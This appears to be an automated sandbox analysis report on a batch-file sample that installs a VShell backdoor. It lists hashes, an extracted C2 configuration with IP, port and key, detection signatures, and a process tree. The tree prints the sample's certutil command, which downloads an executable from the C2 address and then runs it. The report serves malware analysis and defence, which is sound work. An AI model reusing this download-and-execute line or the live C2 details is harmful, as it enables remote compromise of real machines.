Analysis
- max time kernel
148s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/09/2026, 00:23
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 500B
- Sample260930-apj32axvav
- SHA256 873b2c24d72282354c8624bdfe7bc75c4995a97c48a968e2d2db5626f0341993
- MD5 dc56a1a3642b6c77a2a1cbefad270b68
- SHA1 c41d055877695d784fd79fb57cd04c230b909f08
- SHA512 7bf26645b4ac565d89a3f20d2c6b2dea8a2471e6e760d1c902283381969c9f229a4ebe7dd3402d309d73630d24f72c25c21a6524c6b1e2029193257f33e83788
- TLSH T183F09ECC101A08B9078D890374E074C2B18E40C14EA1E46C19C925E94EC9599BEFFE81
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
120.26.120.83
Attributes
-
port
8084
-
salt
qwe123qwe
-
type
ws
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/2760-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 6032 certutil.exe 7 6032 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 2760 ae98c92ftcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5460 cmd.exe 5936 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain ae98c92ftcp.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname ae98c92ftcp.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 5096 WMIC.exe 5096 WMIC.exe 5096 WMIC.exe 5096 WMIC.exe 2760 ae98c92ftcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5096 WMIC.exe Token: SeSecurityPrivilege 5096 WMIC.exe Token: SeTakeOwnershipPrivilege 5096 WMIC.exe Token: SeLoadDriverPrivilege 5096 WMIC.exe Token: SeSystemProfilePrivilege 5096 WMIC.exe Token: SeSystemtimePrivilege 5096 WMIC.exe Token: SeProfSingleProcessPrivilege 5096 WMIC.exe Token: SeIncBasePriorityPrivilege 5096 WMIC.exe Token: SeCreatePagefilePrivilege 5096 WMIC.exe Token: SeBackupPrivilege 5096 WMIC.exe Token: SeRestorePrivilege 5096 WMIC.exe Token: SeShutdownPrivilege 5096 WMIC.exe Token: SeDebugPrivilege 5096 WMIC.exe Token: SeSystemEnvironmentPrivilege 5096 WMIC.exe Token: SeRemoteShutdownPrivilege 5096 WMIC.exe Token: SeUndockPrivilege 5096 WMIC.exe Token: SeManageVolumePrivilege 5096 WMIC.exe Token: 33 5096 WMIC.exe Token: 34 5096 WMIC.exe Token: 35 5096 WMIC.exe Token: 36 5096 WMIC.exe Token: SeIncreaseQuotaPrivilege 5096 WMIC.exe Token: SeSecurityPrivilege 5096 WMIC.exe Token: SeTakeOwnershipPrivilege 5096 WMIC.exe Token: SeLoadDriverPrivilege 5096 WMIC.exe Token: SeSystemProfilePrivilege 5096 WMIC.exe Token: SeSystemtimePrivilege 5096 WMIC.exe Token: SeProfSingleProcessPrivilege 5096 WMIC.exe Token: SeIncBasePriorityPrivilege 5096 WMIC.exe Token: SeCreatePagefilePrivilege 5096 WMIC.exe Token: SeBackupPrivilege 5096 WMIC.exe Token: SeRestorePrivilege 5096 WMIC.exe Token: SeShutdownPrivilege 5096 WMIC.exe Token: SeDebugPrivilege 5096 WMIC.exe Token: SeSystemEnvironmentPrivilege 5096 WMIC.exe Token: SeRemoteShutdownPrivilege 5096 WMIC.exe Token: SeUndockPrivilege 5096 WMIC.exe Token: SeManageVolumePrivilege 5096 WMIC.exe Token: 33 5096 WMIC.exe Token: 34 5096 WMIC.exe Token: 35 5096 WMIC.exe Token: 36 5096 WMIC.exe Token: SeDebugPrivilege 2760 ae98c92ftcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 5460 wrote to memory of 5936 5460 cmd.exe 89 PID 5936 wrote to memory of 5096 5936 cmd.exe 90 PID 5936 wrote to memory of 2424 5936 cmd.exe 91 PID 5460 wrote to memory of 6032 5460 cmd.exe 93 PID 5460 wrote to memory of 2760 5460 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5460 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5936 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5096
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:2424
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://120.26.120.83:8084/?h=120.26.120.83&p=8084&t=tcp&a=w64&stage=true" "C:\Users\Public\ae98c92ftcp.exe"2⤵
- Downloads MZ/PE file
PID:6032
-
-
C:\Users\Public\ae98c92ftcp.exe"C:\Users\Public\ae98c92ftcp.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2760
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Public\ae98c92ftcp.exe
- Size 3KB
- SHA256 ee5e9d5f0c7c6916eabd0d6bb9db573fb0c2808924c2e41dd9f3224d789981d7
- MD5 b068f38757134531bcb0489d96324ae0
- SHA1 11098dacda6ba8520fcf815b9b40bc687137a386
- SHA512 c90e4c01030499293039aa5c074e4f7ec4521cd44aea26f1bfeadb9acb37bd8de1767d3bc31de8309bd551561e5b085d16b782e183088df1b73462d3f47ff0bc
- TLSH T1AE71B54160505AF2D94CE37F8487B895FD4FB248A2C84B0F0398981A2F7507BB1D9613
- MD5 SHA1 SHA512 TLSH